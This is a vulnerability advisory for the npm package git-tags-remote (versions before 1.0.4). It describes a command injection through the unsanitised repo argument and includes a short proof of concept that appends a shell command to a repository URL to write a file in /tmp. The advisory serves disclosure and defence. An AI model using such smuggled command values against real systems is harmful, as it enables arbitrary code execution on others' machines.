Affected packages
• npm git-tags-remote: < 1.0.4 → fixed in 1.0.4
Description
All versions of `git-tags-remote ` are vulnerable to Command Injection. The package fails to sanitize the repository input and passes it directly to an `exec` call on the `get` function . This may allow attackers to execute arbitrary code in the system if the `repo` value passed to the function is user-controlled.
The following proof-of-concept creates a file in `/tmp`:
```
const gitTagsRemote = require('git-tags-remote');
gitTagsRemote.get('https://github.com/sh0ji/git-tags-remote.git; echo "Injection Success" > /tmp/command-injection.test')
.then(tags => console.log(tags));
```
